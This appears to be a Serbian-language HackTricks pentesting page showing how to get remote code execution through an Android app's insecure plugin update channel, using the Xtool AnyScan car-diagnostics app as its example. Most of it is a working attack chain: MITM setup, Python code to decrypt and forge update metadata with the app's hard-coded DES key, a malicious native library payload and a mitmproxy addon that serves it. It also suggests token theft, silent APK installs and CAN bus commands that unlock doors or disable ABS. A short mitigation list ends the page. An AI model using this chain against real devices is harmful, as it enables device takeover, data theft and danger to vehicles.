hacktricks/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md

125 lines
6.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Insecure In-App Update Mechanisms Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Mnoge Android aplikacije implementiraju **svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje** umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi **arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije**, što dovodi do potpune Remote Code Execution (RCE) na uređaju i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …).
Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom angažovanja red-tima.
---
## 1. Identifikacija nesigurnog TLS TrustManager-a
1. Decompile-ujte APK sa jadx / apktool i locirajte mrežni stek (OkHttp, HttpUrlConnection, Retrofit…).
2. Potražite **prilagođeni `TrustManager`** ili `HostnameVerifier` koji slepo veruje svakom sertifikatu:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
```
3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom potpisanim od strane sebe:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Obrnuto inženjerstvo metapodataka ažuriranja
U slučaju AnyScan, svaki pokretanje aplikacije pokreće HTTPS GET na:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Odgovor telo je **XML dokument** čiji `<FileData>` čvorovi sadrže **Base64-enkodiran, DES-ECB enkriptovan** JSON koji opisuje svaki dostupni plugin.
Tipični koraci u potrazi:
1. Pronađite kripto rutinu (npr. `RemoteServiceProxy`) i povratite:
* algoritam (DES / AES / RC4 …)
* način rada (ECB / CBC / GCM …)
* hard-kodirani ključ / IV (često 56-bitni DES ključevi ili 128-bitni AES ključevi u konstantama)
2. Ponovno implementirajte funkciju u Python-u za dekriptovanje / enkriptovanje metapodataka:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Napravite Zlonamerni Plugin
1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
```
```bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuje na vaš HTTP server.
3. DES-enkripcija + Base64-enkodiranje izmenjenog JSON-a i kopiranje nazad unutar presretnutog XML-a.
## 4. Isporuka Payload-a sa mitmproxy
`addon.py` primer koji *tiho* menja originalne metapodatke:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
```
Pokrenite jednostavan veb server za hostovanje malicioznog ZIP-a:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Kada žrtva pokrene aplikaciju, ona će:
* preuzeti naš lažirani XML preko MITM kanala;
* dekriptovati i analizirati ga sa hard-kodiranim DES ključem;
* preuzeti `PWNED.zip` → raspakovati unutar privatne memorije;
* `dlopen()` uključeni *libscan_x64.so*, odmah izvršavajući naš kod **sa dozvolama aplikacije** (kamera, GPS, Bluetooth, sistem datoteka, …).
Pošto je dodatak keširan na disku, backdoor **ostaje aktivan nakon ponovnog pokretanja** i pokreće se svaki put kada korisnik odabere povezanu funkciju.
## 5. Ideje za post-eksploataciju
* Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva.
* Ostaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`).
* Zloupotrebiti bilo koji povezani hardver u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.).
---
### Lista za detekciju i ublažavanje (plavi tim)
* NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata.
* Ne preuzimajte izvršni kod sa spolja, osim Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja.
* Zamenite slabu/hard-kodiranu kriptografiju sa **AES-GCM** i rotirajućim ključem na serverskoj strani.
* Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256).
---
## Reference
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
{{#include ../../banners/hacktricks-training.md}}